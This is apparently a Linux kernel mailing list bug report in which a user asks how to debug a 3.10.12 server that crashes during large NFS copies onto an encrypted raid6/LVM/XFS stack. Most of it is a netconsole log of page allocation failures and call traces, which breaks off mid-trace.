linux-kernel@vger.kernel.org, linux-raid@vger.kernel.org, dm-devel@redhat.com, linux-nfs@vger.kernel.org, xfs@oss.sgi.com Subject: linux-3.10.12 dies after many allocation errors when copying lots of data to it over nfs. How to debug? Message-ID: <20130918230514.1d0e0ac5@localhost> X-ASG-Orig-Subj: linux-3.10.12 dies after many allocation errors when copying lots of data to it over nfs. How to debug? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-la0-f52.google.com[209.85.215.52] X-Barracuda-Start-Time: 1379538329 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, FUZZY_VPILL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam Hello, my server dies when copying lots of data to it over nfs. I upgraded it to the latest stable kernel 3.10.12 (from 3.9.8), enabled netconsole and tried again. It died after 2-3 hours, but it looks like most of the call traces only show the stack used to send the netconsole message. I have 6x 3TB harddrives (ST3000DM001-1CH166) configured like this: sd{a..f}3 <= mdadm raid6 <= lvm dm_crypt <= xfs (<= nfsd) To copy the files I run "rsync -av --progress ./300gb-folder /mnt/nfs-server/" from a faster computer. I think the server is having trouble keeping up. What should I do to debug this? REPORTING-BUGS said I should narrow down the subsystem, so I picked the ones that seemed relevant in the MAINTAINERS file. model name: Intel(R) Core(TM)2 Quad CPU @ 2.40GHz RAM: 4GiB (~500MiB used in htop) Network speed: 1000mbit/s 00:1f.2 SATA controller: Intel Corporation 82801IR/IO/IH (ICH9R/DO/DH) 6 port SATA Controller [AHCI mode] (rev 02) 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168 PCI Express Gigabit Ethernet controller (rev 01) Netconsole output: ~18:30 started copying Sep 18 20:48:55 [88988.266617] cron: page allocation failure: order:0, mode:0x20 Sep 18 20:48:55 [88988.266651] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 Sep 18 20:48:55 [88988.266665] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:48:55 [88988.266685] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 Sep 18 20:48:55 [88988.266716] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:48:55 [88988.266892] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bc83e84 Sep 18 20:48:55 [88988.267214] Call Trace: Sep 18 20:48:55 [88988.267368] [] dump_stack+0x19/0x1b Sep 18 20:48:55 [88988.267548] [] warn_alloc_failed+0x110/0x124 Sep 18 20:48:55 [88988.267712] [] ? update_sd_lb_stats+0x23f/0x481 Sep 18 20:48:55 [88988.267876] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:48:55 [88988.268041] [] ? set_task_cpu+0x68/0xa4 Sep 18 20:48:55 [88988.268201] [] ? enqueue_task_fair+0x9e/0x130 Sep 18 20:48:55 [88988.268367] [] __netdev_alloc_frag+0x5b/0xff Sep 18 20:48:55 [88988.268528] [] __netdev_alloc_skb+0x39/0x9a Sep 18 20:48:55 [88988.268705] [] rtl8169_poll+0x21b/0x4cd [r8169] Sep 18 20:48:55 [88988.268866] [] ? sched_slice.isra.47+0x70/0x7f Sep 18 20:48:55 [88988.269030] [] net_rx_action+0xa3/0x181 Sep 18 20:48:55 [88988.269193] [] __do_softirq+0xb7/0x16d Sep 18 20:48:55 [88988.269354] [] irq_exit+0x3e/0x83 Sep 18 20:48:55 [88988.269513] cron: page allocation failure: order:0, mode:0x200020 Sep 18 20:48:55 [88988.269515] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 Sep 18 20:48:55 [88988.269516] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:48:55 [88988.269520] 0000000000200020 ffff88010bc83488 ffffffff812665b6 ffff88010bc83518 Sep 18 20:48:55 [88988.269522] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffffffff00000002 Sep 18 20:48:55 [88988.269525] ffff88010bc834d0 ffffffff00000030 ffff88010bc834f0 0000000000000082 Sep 18 20:48:55 [88988.269526] Call Trace: Sep 18 20:48:55 [88988.269529] [] dump_stack+0x19/0x1b Sep 18 20:48:55 [88988.269532] [] warn_alloc_failed+0x110/0x124 Sep 18 20:48:55 [88988.269536] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:48:55 [88988.269540] [] ? vsnprintf+0x37d/0x435 Sep 18 20:48:55 [88988.269544] [] alloc_slab_page+0x21/0x23 Sep 18 20:48:55 [88988.269547] [] new_slab+0x75/0x1ba Sep 18 20:48:55 [88988.269550] [] __slab_alloc.constprop.71+0x12e/0x3f5 Sep 18 20:48:55 [88988.269552] [] ? __alloc_skb+0x44/0x19e Sep 18 20:48:55 [88988.269556] [] ? __kmalloc_track_caller+0x3c/0xc8 Sep 18 20:48:55 [88988.269558] [] kmem_cache_alloc+0x3b/0x91 Sep 18 20:48:55 [88988.269561] [] __alloc_skb+0x44/0x19e Sep 18 20:48:55 [88988.269565] [] find_skb.isra.25+0x35/0x7e Sep 18 20:48:55 [88988.269567] [] netpoll_send_udp+0x5d/0x334 Sep 18 20:48:55 [88988.269572] [] write_msg+0xb7/0xec [netconsole] Sep 18 20:48:55 [88988.269576] [] call_console_drivers.constprop.23+0x75/0x80 Sep 18 20:48:55 [88988.269579] [] console_unlock+0x268/0x2fa Sep 18 20:48:55 [88988.269582] [] vprintk_emit+0x347/0x372 Sep 18 20:48:57 [88988.269585] [] ? irq_exit+0x3e/0x83 Sep 18 20:48:57 [88988.269588] [] printk+0x48/0x4a Sep 18 20:48:57 [88988.269590] [] ? irq_exit+0x3e/0x83 Sep 18 20:48:57 [88988.269593] [] ? irq_exit+0x3e/0x83 Sep 18 20:48:57 [88988.269596] [] printk_address+0x2c/0x2e Sep 18 20:48:57 [88988.269599] [] print_trace_address+0x1f/0x24 Sep 18 20:48:57 [88988.269601] [] print_context_stack+0x67/0xb1 Sep 18 20:49:01 [88993.386206] warn_alloc_failed: 11056 callbacks suppressed Sep 18 20:49:01 [88993.386409] kworker/1:22: page allocation failure: order:0, mode:0x20 Sep 18 20:49:01 [88993.386572] CPU: 1 PID: 804 Comm: kworker/1:22 Not tainted 3.10.12 #1 Sep 18 20:49:01 [88993.386733] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:49:01 [88993.387066] Workqueue: kcryptd kcryptd_crypt [dm_crypt] Sep 18 20:49:01 [88993.387228] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 Sep 18 20:49:01 [88993.387402] kworker/1:22: page allocation failure: order:0, mode:0x200020 Sep 18 20:49:01 [88993.387404] CPU: 1 PID: 804 Comm: kworker/1:22 Not tainted 3.10.12 #1 Sep 18 20:49:01 [88993.387405] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:49:01 [88993.387409] Workqueue: kcryptd kcryptd_crypt [dm_crypt] Sep 18 20:49:01 [88993.387411] 0000000000200020 ffff88010bc835e8 ffffffff812665b6 ffff88010bc83678 Sep 18 20:49:01 [88993.387414] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:49:01 [88993.387417] ffffffff811de030 ffff880100000030 0000000000000096 ffff88010bc93f0a Sep 18 20:49:01 [88993.387420] Call Trace: Sep 18 20:49:01 [88993.387422] [] dump_stack+0x19/0x1b Sep 18 20:49:01 [88993.387430] [] warn_alloc_failed+0x110/0x124 Sep 18 20:49:01 [88993.387435] [] ? __alloc_skb+0x44/0x19e Sep 18 20:49:01 [88993.387440] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:49:01 [88993.387443] [] ? vsnprintf+0x77/0x435 Sep 18 20:49:07 [88999.386191] warn_alloc_failed: 23962 callbacks suppressed Sep 18 20:49:07 [88999.386385] __slab_alloc: 23956 callbacks suppressed Sep 18 20:49:07 [88999.386386] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.386388] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.386390] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.386559] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.386561] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.386562] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.386565] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.386567] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.386568] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.386728] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.386730] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.386732] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.386734] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.386736] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.386737] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.387047] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.387049] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.387050] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.387053] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.387055] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.387056] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.387215] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.387217] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.387219] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.387221] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.387223] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.387224] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:49:07 [88999.387385] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:49:07 [88999.387387] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:49:07 [88999.387388] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:19 [89071.386168] warn_alloc_failed: 12487 callbacks suppressed Sep 18 20:50:19 [89071.386361] imap-login: page allocation failure: order:0, mode:0x20 Sep 18 20:50:19 [89071.386524] CPU: 3 PID: 28011 Comm: imap-login Not tainted 3.10.12 #1 Sep 18 20:50:19 [89071.386686] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:19 [89071.386997] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 Sep 18 20:50:19 [89071.387320] ffffffff81085fbb Sep 18 20:50:19 [89071.387330] imap-login: page allocation failure: order:0, mode:0x200020 Sep 18 20:50:19 [89071.387333] CPU: 3 PID: 28011 Comm: imap-login Not tainted 3.10.12 #1 Sep 18 20:50:19 [89071.387334] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:19 [89071.387335] 0000000000200020 ffff88010bd835e8 ffffffff812665b6 ffff88010bd83678 Sep 18 20:50:19 [89071.387338] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:19 [89071.387341] ffffffffa01b3e25 ffff880100000030 ffff88010328e700 0000000180100010 Sep 18 20:50:19 [89071.387345] Call Trace: Sep 18 20:50:19 [89071.387346] [] dump_stack+0x19/0x1b Sep 18 20:50:19 [89071.387356] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:19 [89071.387371] [] ? dma_map_single_attrs.constprop.96+0x71/0x7c [r8169] Sep 18 20:50:19 [89071.387379] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:19 [89071.387383] [] ? native_sched_clock+0x39/0x3b Sep 18 20:50:19 [89071.387387] [] ? resched_task+0x36/0x60 Sep 18 20:50:24 [89077.080411] warn_alloc_failed: 23061 callbacks suppressed Sep 18 20:50:24 [89077.080611] cron: page allocation failure: order:0, mode:0x20 Sep 18 20:50:24 [89077.080775] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 Sep 18 20:50:24 [89077.080936] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:24 [89077.081246] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 Sep 18 20:50:24 [89077.081568] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:24 [89077.081890] ffffffff810507e7 0000000000000030 Sep 18 20:50:24 [89077.081905] cron: page allocation failure: order:0, mode:0x200020 Sep 18 20:50:24 [89077.081907] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 Sep 18 20:50:24 [89077.081909] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:24 [89077.081910] 0000000000200020 ffff88010bc835e8 ffffffff812665b6 ffff88010bc83678 Sep 18 20:50:24 [89077.081913] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:24 [89077.081916] ffffffff811de030 ffff880100000030 0000000000000096 ffff88010bc93f0a Sep 18 20:50:24 [89077.081919] Call Trace: Sep 18 20:50:24 [89077.081921] [] dump_stack+0x19/0x1b Sep 18 20:50:24 [89077.081931] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:24 [89077.081937] [] ? __alloc_skb+0x44/0x19e Sep 18 20:50:24 [89077.081942] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:24 [89077.081945] [] ? native_sched_clock+0x39/0x3b Sep 18 20:50:24 [89077.081949] [] ? resched_task+0x36/0x60 Sep 18 20:50:29 [89082.130410] warn_alloc_failed: 23399 callbacks suppressed Sep 18 20:50:29 [89082.130608] mdadm: page allocation failure: order:0, mode:0x20 Sep 18 20:50:29 [89082.130773] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 Sep 18 20:50:29 [89082.130933] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:29 [89082.131245] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 Sep 18 20:50:29 [89082.131566] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:29 [89082.131886] ffffffff81210acc 0000000000000030 ffff880100000000 ffff88010bd83c38 Sep 18 20:50:29 [89082.132208] Call Trace: Sep 18 20:50:29 [89082.132362] [] dump_stack+0x19/0x1b Sep 18 20:50:29 [89082.132538] mdadm: page allocation failure: order:0, mode:0x200020 Sep 18 20:50:29 [89082.132541] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 Sep 18 20:50:29 [89082.132542] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:29 [89082.132545] 0000000000200020 ffff88010bd83488 ffffffff812665b6 ffff88010bd83518 Sep 18 20:50:29 [89082.132548] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:29 [89082.132550] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 Sep 18 20:50:29 [89082.132551] Call Trace: Sep 18 20:50:29 [89082.132555] [] dump_stack+0x19/0x1b Sep 18 20:50:29 [89082.132561] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:29 [89082.132564] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:29 [89082.132567] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:29 [89082.132572] [] ? vsnprintf+0x37d/0x435 Sep 18 20:50:29 [89082.132576] [] alloc_slab_page+0x21/0x23 Sep 18 20:50:29 [89082.132579] [] new_slab+0x75/0x1ba Sep 18 20:50:29 [89082.132582] [] __slab_alloc.constprop.71+0x12e/0x3f5 Sep 18 20:50:29 [89082.132587] [] ? __alloc_skb+0x44/0x19e Sep 18 20:50:29 [89082.132590] [] ? symbol_string.isra.8+0x7c/0xa2 Sep 18 20:50:29 [89082.132593] [] kmem_cache_alloc+0x3b/0x91 Sep 18 20:50:29 [89082.132596] [] __alloc_skb+0x44/0x19e Sep 18 20:50:29 [89082.132599] [] find_skb.isra.25+0x35/0x7e Sep 18 20:50:29 [89082.132602] [] netpoll_send_udp+0x5d/0x334 Sep 18 20:50:29 [89082.132607] [] write_msg+0xb7/0xec [netconsole] Sep 18 20:50:29 [89082.132613] [] call_console_drivers.constprop.23+0x75/0x80 Sep 18 20:50:29 [89082.132616] [] console_unlock+0x137/0x2fa Sep 18 20:50:29 [89082.132620] [] ? down_trylock+0x27/0x32 Sep 18 20:50:32 [89082.132623] [] vprintk_emit+0x347/0x372 Sep 18 20:50:32 [89082.132626] [] ? dump_stack+0x19/0x1b Sep 18 20:50:32 [89082.132629] [] printk+0x48/0x4a Sep 18 20:50:32 [89082.132631] [] ? dump_stack+0x19/0x1b Sep 18 20:50:32 [89082.132634] [] ? dump_stack+0x19/0x1b Sep 18 20:50:32 [89082.132638] [] printk_address+0x2c/0x2e Sep 18 20:50:36 [89088.795176] warn_alloc_failed: 11990 callbacks suppressed Sep 18 20:50:36 [89088.795367] __slab_alloc: 11988 callbacks suppressed Sep 18 20:50:36 [89088.795369] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:36 [89088.795372] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:50:36 [89088.795374] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:36 [89088.795376] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:36 [89088.795378] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:50:36 [89088.795380] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:36 [89088.795551] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:36 [89088.795553] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:50:36 [89088.795554] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:36 [89088.795557] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:36 [89088.795558] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:50:36 [89088.795560] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:36 [89088.795721] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:36 [89088.795723] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:50:36 [89088.795725] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:36 [89088.795727] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:36 [89088.795729] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:50:36 [89088.795730] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:36 [89088.796041] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:36 [89088.796042] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 Sep 18 20:50:36 [89088.796044] node 0: slabs: 468, objs: 7488, free: 0 Sep 18 20:50:36 [89088.796046] SLUB: Unable to allocate memory on node -1 (gfp=0x20) Sep 18 20:50:47 [89099.862556] warn_alloc_failed: 10377 callbacks suppressed Sep 18 20:50:47 [89099.862757] mdadm: page allocation failure: order:0, mode:0x20 Sep 18 20:50:47 [89099.862919] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 Sep 18 20:50:47 [89099.863081] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:47 [89099.863390] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 Sep 18 20:50:47 [89099.863714] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:47 [89099.864037] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bd83e84 Sep 18 20:50:47 [89099.864361] Call Trace: Sep 18 20:50:47 [89099.864516] [] dump_stack+0x19/0x1b Sep 18 20:50:47 [89099.864694] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:47 [89099.864857] [] ? update_sd_lb_stats+0x23f/0x481 Sep 18 20:50:47 [89099.865019] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:47 [89099.865182] [] ? update_sd_lb_stats+0x458/0x481 Sep 18 20:50:47 [89099.865347] [] __netdev_alloc_frag+0x5b/0xff Sep 18 20:50:47 [89099.865508] [] __netdev_alloc_skb+0x39/0x9a Sep 18 20:50:47 [89099.865685] [] rtl8169_poll+0x21b/0x4cd [r8169] Sep 18 20:50:47 [89099.865849] [] ? __wake_up+0x3f/0x48 Sep 18 20:50:47 [89099.866011] [] net_rx_action+0xa3/0x181 Sep 18 20:50:47 [89099.866175] [] __do_softirq+0xb7/0x16d Sep 18 20:50:47 [89099.866336] [] irq_exit+0x3e/0x83 Sep 18 20:50:47 [89099.866496] [] do_IRQ+0x89/0xa0 Sep 18 20:50:47 [89099.866657] [] common_interrupt+0x6a/0x6a Sep 18 20:50:47 [89099.866818] [] ? __isolate_lru_page+0x97/0xa5 Sep 18 20:50:47 [89099.866990] [] ? spin_unlock_irq+0x9/0xa Sep 18 20:50:47 [89099.867151] [] ? shrink_inactive_list+0x1be/0x2c0 Sep 18 20:50:47 [89099.867315] [] shrink_zone+0x3ad/0x4e6 Sep 18 20:50:47 [89099.867477] [] try_to_free_pages+0x1f8/0x41b Sep 18 20:50:47 [89099.867639] [] __alloc_pages_nodemask+0x3b2/0x5d9 Sep 18 20:50:47 [89099.867804] [] handle_pte_fault+0x156/0x5dc Sep 18 20:50:47 [89099.867968] [] ? number.isra.1+0x140/0x26a Sep 18 20:50:47 [89099.868128] mdadm: page allocation failure: order:0, mode:0x200020 Sep 18 20:50:47 [89099.868131] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 Sep 18 20:50:47 [89099.868132] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:49 [89099.868135] 0000000000200020 ffff88010bd83488 ffffffff812665b6 ffff88010bd83518 Sep 18 20:50:49 [89099.868138] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:49 [89099.868140] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 Sep 18 20:50:49 [89099.868141] Call Trace: Sep 18 20:50:49 [89099.868145] [] dump_stack+0x19/0x1b Sep 18 20:50:49 [89099.868148] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:49 [89099.868151] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:49 [89099.868154] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:49 [89099.868157] [] ? vsnprintf+0x37d/0x435 Sep 18 20:50:49 [89099.868161] [] alloc_slab_page+0x21/0x23 Sep 18 20:50:49 [89099.868163] [] new_slab+0x75/0x1ba Sep 18 20:50:49 [89099.868166] [] __slab_alloc.constprop.71+0x12e/0x3f5 Sep 18 20:50:49 [89099.868169] [] ? __alloc_skb+0x44/0x19e Sep 18 20:50:49 [89099.868172] [] ? __kmalloc_track_caller+0x3c/0xc8 Sep 18 20:50:49 [89099.868175] [] kmem_cache_alloc+0x3b/0x91 Sep 18 20:50:49 [89099.868178] [] __alloc_skb+0x44/0x19e Sep 18 20:50:49 [89099.868181] [] find_skb.isra.25+0x35/0x7e Sep 18 20:50:49 [89099.868184] [] netpoll_send_udp+0x5d/0x334 Sep 18 20:50:49 [89099.868188] [] write_msg+0xb7/0xec [netconsole] Sep 18 20:50:49 [89099.868193] [] call_console_drivers.constprop.23+0x75/0x80 Sep 18 20:50:49 [89099.868196] [] console_unlock+0x268/0x2fa Sep 18 20:50:49 [89099.868199] [] vprintk_emit+0x347/0x372 Sep 18 20:50:49 [89099.868202] [] ? number.isra.1+0x140/0x26a Sep 18 20:50:49 [89099.868205] [] printk+0x48/0x4a Sep 18 20:50:49 [89099.868208] [] ? number.isra.1+0x140/0x26a Sep 18 20:50:49 [89099.868211] [] ? number.isra.1+0x140/0x26a Sep 18 20:50:49 [89099.868214] [] printk_address+0x2c/0x2e Sep 18 20:50:49 [89099.868217] [] print_trace_address+0x1f/0x24 Sep 18 20:50:52 [89105.179845] warn_alloc_failed: 11525 callbacks suppressed Sep 18 20:50:52 [89105.180003] pickup: page allocation failure: order:0, mode:0x20 Sep 18 20:50:52 [89105.180003] CPU: 3 PID: 31502 Comm: pickup Not tainted 3.10.12 #1 Sep 18 20:50:52 [89105.180003] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:52 [89105.180003] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 Sep 18 20:50:52 [89105.180003] pickup: page allocation failure: order:0, mode:0x200020 Sep 18 20:50:52 [89105.180003] CPU: 3 PID: 31502 Comm: pickup Not tainted 3.10.12 #1 Sep 18 20:50:52 [89105.180003] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:52 [89105.180003] 0000000000200020 ffff88010bd835e8 ffffffff812665b6 ffff88010bd83678 Sep 18 20:50:52 [89105.180003] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:52 [89105.180003] ffffffff811de030 ffff880100000030 0000000000000096 ffff88010bd93f0a Sep 18 20:50:52 [89105.180003] Call Trace: Sep 18 20:50:52 [89105.180003] [] dump_stack+0x19/0x1b Sep 18 20:50:52 [89105.180003] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:52 [89105.180003] [] ? __alloc_skb+0x44/0x19e Sep 18 20:50:52 [89105.180003] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:52 [89105.180003] [] ? native_sched_clock+0x39/0x3b Sep 18 20:50:52 [89105.180003] [] ? resched_task+0x36/0x60 Sep 18 20:50:58 [89111.221781] warn_alloc_failed: 23515 callbacks suppressed Sep 18 20:50:58 [89111.221985] nfsd: page allocation failure: order:0, mode:0x20 Sep 18 20:50:58 [89111.222148] CPU: 1 PID: 6816 Comm: nfsd Not tainted 3.10.12 #1 Sep 18 20:50:58 [89111.222309] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:58 [89111.222619] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 Sep 18 20:50:58 [89111.222941] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:58 [89111.223263] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bc83e84 Sep 18 20:50:58 [89111.223584] Call Trace: Sep 18 20:50:58 [89111.223739] [] dump_stack+0x19/0x1b Sep 18 20:50:58 [89111.223917] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:58 [89111.224082] [] ? update_sd_lb_stats+0x23f/0x481 Sep 18 20:50:58 [89111.224245] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:58 [89111.224407] [] ? update_sd_lb_stats+0x458/0x481 Sep 18 20:50:58 [89111.224568] nfsd: page allocation failure: order:0, mode:0x200020 Sep 18 20:50:58 [89111.224570] CPU: 1 PID: 6816 Comm: nfsd Not tainted 3.10.12 #1 Sep 18 20:50:58 [89111.224571] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:50:58 [89111.224575] 0000000000200020 ffff88010bc83488 ffffffff812665b6 ffff88010bc83518 Sep 18 20:50:58 [89111.224577] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:50:58 [89111.224580] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 Sep 18 20:50:58 [89111.224581] Call Trace: Sep 